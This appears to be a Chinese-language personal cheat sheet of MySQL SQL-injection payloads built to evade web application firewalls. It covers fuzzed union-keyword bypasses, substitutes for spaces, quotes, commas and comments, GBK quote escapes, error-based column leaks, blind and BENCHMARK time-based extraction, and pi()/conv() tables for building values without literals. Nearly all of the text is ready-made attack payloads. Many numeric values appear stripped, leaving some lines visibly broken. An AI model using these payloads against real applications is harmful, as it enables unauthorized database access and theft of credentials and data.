1 直接上语法
2 select * from users where id=8E0union select ,,,,,,,,,
3 select * from users where id=.0union select ,,,,,,,,,
4 select * from users where id=\Nunion select ,,,,,,,,,
5 因为一般waf在防御的时候会识别union等关键词的单词边界，但是这个语句刚好可以绕过单词边界的判定。
6 我是fuzz出来的，了解了一下，大概是利用了语法分析中浮点击指数后语境结束，之后就直接执行后面的语句了。
7 ==================================================
8 where id=.1union/*.1*/select-.
9 where id=.1union/*.1*/select!.
10 where id=.1union/*.1*/select~.
11 where id=.1union/*.1*/select()
12 where id=.1union/*.1*/select`host`from mysql.user
13 where id=.1union/*.1*/select''
14 where id=.1union/*.1*/select""
15 where id=.1union/*.1*/select@1
16 ================================================
17 mysql研究方向.txt
18 Mysql:
19 空格,且与符号(and or),单引号,逗号",",双引号",截断符号如:(# -- /*)
20
21 空格:
22 select * from(user);
23 select * from`user`;
24 'and(true)like(false)union(select(pass)from(users))#
25 'union [all|distinct] select pass from users#
26 Horizontal Tab
27 0A New Line
28 0B Vertical Tab
29 0C New Page
30 0D Carriage Return
31 A0 Non-breaking Space
32 Space
33
34 且与符号(and or):
35 select * from user where host ='localhost' && = limit ,;
36 select * from user where host ='localhost' || = limit ,;
37
38 Space
39 2B +
40 2D -
41 7E ~
42 !
43 @
44 Example:
45 SELECT FROM dual WHERE = AND-+-+-+-+~~(())
46
47 ● Prefixes (combine arbitrarily 任意组合 单目运算符): + - ~ !
48 ' or --+2=- -!!!'
49 ● Operators: ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,
50 XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN, ...
51 ' or 1
52 单引号:
53 '-GBK编码%df';'-% UNICODE编码
54
55
56 逗号:
57 UNION SELECT * FROM ((SELECT )a JOIN (SELECT )b JOIN (SELECT )c)
58 //利用MySQL出错爆出字段
59 mysql> SELECT * FROM (SELECT * FROM user A JOIN user B) C;
60 ERROR (42S21): Duplicate column name 'Host'
61 mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host)) C;
62 ERROR (42S21): Duplicate column name 'User'
63 mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host,User)) C;
64 ERROR (42S21): Duplicate column name 'Password'
65
66 双引号:
67 类同单引号的思路
68
69 编码:
70 ' or 'a' = n'a # unicode
71 ' or 'a' = b' # binary
72 ' or 'a' = x' # hexadecimal
73 ' and substr(data,1,1) = 0x61# 0x6162
74 ' and substr(data,,) = unhex()# unhex()
75 ' and substr(data,1,1) = char(97)# char(97,98)
76 String builder (3)
77 ● Previous functions are well known
78 ● My favourite:
79 ' and substr(data,,) = lower(conv(,,))# 'a'
80 ' and substr(data,1,1) = lower(conv(11,10,36))# 'b'
81 ' and substr(data,,) = lower(conv(,,))# 'z'
82
83
84 截断符号:
85 常见的:# -- /*
86 -- - SQL comment
87 ;% Nullbyte
88 ` Backtick
89
90
91 盲注:
92 AND MID(VERSION(),,) = ''
93 AND SELECT SUBSTR(column_name,,) FROM information_schema.columns > 'A'
94 ' and substr(data,1,1) = 'a'#
95 ' and substring(data,,) = 'a'#
96 ' and mid(data,1,1) = 'a'#
97 ● All 3 functions work without comma（逗号） too:
98 ' and substr(data from for ) = 'a'#
99 lpad(data,,space()) // lpad('hi',,'?') = '??hi'
rpad(data,,space()) // rpad('hi',,'?') = 'hi??'
left(data,)
reverse(right(reverse(data),))
insert(insert(version(),,,space()),,,space())
● Subselect:
'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit
1,1)and'
Some functions allow to search substrings:
'-if(locate('f',data),1,0)#
'-if(locate('fo',data),,)#
'-if(locate('foo',data),1,0)#
● Some functions allow to cut substrings:
length(trim(leading 'a' FROM data)) # length will be shorter
length(replace(data, 'a', '')) # length will be shorter
Subselect:
foo'div count(select`pass`from(users)where mid(pass,,)rlike
lower(conv(,pi()*pi(),pi()*pi())) )-'0
Blind SQL Injection
Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(2000000,md5(now())))
延迟:
' - (IF(MID(version(),,) LIKE , BENCHMARK(,SHA1('true')), false)) - '
Nope:
false !pi() 0 ceil(pi()*pi()) 10 ceil((pi()+pi())*pi()) 20
true !!pi() 1 ceil(pi()*pi())+true 11 ceil(ceil(pi())*version()) 21
true+true 2 ceil(pi()+pi()+version()) 12 ceil(pi()*ceil(pi()+pi())) 22
floor(pi()) 3 floor(pi()*pi()+pi()) 13 ceil((pi()+ceil(pi()))*pi()) 23
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 ceil(pi())*ceil(version()) 24
floor(version()) 5 ceil(pi()*pi()+version()) 15 floor(pi()*(version()+pi())) 25
ceil(version()) 6 floor(pi()*version()) 16 floor(version()*version()) 26
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 ceil(version()*version()) 27
floor(version()+pi()) 8 ceil(pi()*version())+true 18 ceil(pi()*pi()*pi()-pi()) 28
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 floor(pi()*pi()*floor(pi())) 29
conv([10-36],10,36)
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T